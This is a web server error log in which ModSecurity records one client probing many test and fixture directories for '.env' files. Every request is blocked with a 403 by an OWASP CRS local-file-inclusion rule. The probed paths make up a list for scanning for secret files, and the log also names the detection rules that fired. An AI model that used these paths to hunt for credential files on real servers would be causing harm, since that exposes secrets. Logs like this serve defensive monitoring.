[Mon Jul 28 20:46:21.830089 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/sidetree-mock/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzQAAAAg&quot;]
[Mon Jul 28 20:46:21.830335 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzQAAAAg&quot;]
[Mon Jul 28 20:46:21.830550 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzQAAAAg&quot;]
[Mon Jul 28 20:46:21.859803 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/universalresolver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzgAAAAg&quot;]
[Mon Jul 28 20:46:21.860068 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzgAAAAg&quot;]
[Mon Jul 28 20:46:21.860263 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzgAAAAg&quot;]
[Mon Jul 28 20:46:21.889503 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/vc-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzwAAAAg&quot;]
[Mon Jul 28 20:46:21.889746 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzwAAAAg&quot;]
[Mon Jul 28 20:46:21.889931 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzwAAAAg&quot;]
[Mon Jul 28 20:46:21.919134 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0AAAAAg&quot;]
[Mon Jul 28 20:46:21.919370 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0AAAAAg&quot;]
[Mon Jul 28 20:46:21.919553 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0AAAAAg&quot;]
[Mon Jul 28 20:46:21.948908 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0QAAAAg&quot;]
[Mon Jul 28 20:46:21.949183 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0QAAAAg&quot;]
[Mon Jul 28 20:46:21.949404 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0QAAAAg&quot;]
[Mon Jul 28 20:46:21.978937 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0gAAAAg&quot;]
[Mon Jul 28 20:46:21.979198 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0gAAAAg&quot;]
[Mon Jul 28 20:46:21.979395 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrel0gAAAAg&quot;]
[Mon Jul 28 20:46:22.008716 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/node_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel0wAAAAg&quot;]
[Mon Jul 28 20:46:22.008994 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel0wAAAAg&quot;]
[Mon Jul 28 20:46:22.009187 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel0wAAAAg&quot;]
[Mon Jul 28 20:46:22.038602 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel1AAAAAg&quot;]
[Mon Jul 28 20:46:22.038845 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel1AAAAAg&quot;]
[Mon Jul 28 20:46:22.039027 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aIfFfgLZGLzAXRzMJrel1AAAAAg&quot;]
[Mon Jul 28 20:46:22.692801 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp-wAAAAI&quot;]
[Mon Jul 28 20:46:22.692984 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp-wAAAAI&quot;]
[Mon Jul 28 20:46:22.693142 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp-wAAAAI&quot;]
[Mon Jul 28 20:46:22.776256 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_gAAAAI&quot;]
[Mon Jul 28 20:46:22.776469 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_gAAAAI&quot;]
[Mon Jul 28 20:46:22.776647 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_gAAAAI&quot;]
[Mon Jul 28 20:46:22.796857 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_wAAAAI&quot;]
[Mon Jul 28 20:46:22.797061 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_wAAAAI&quot;]
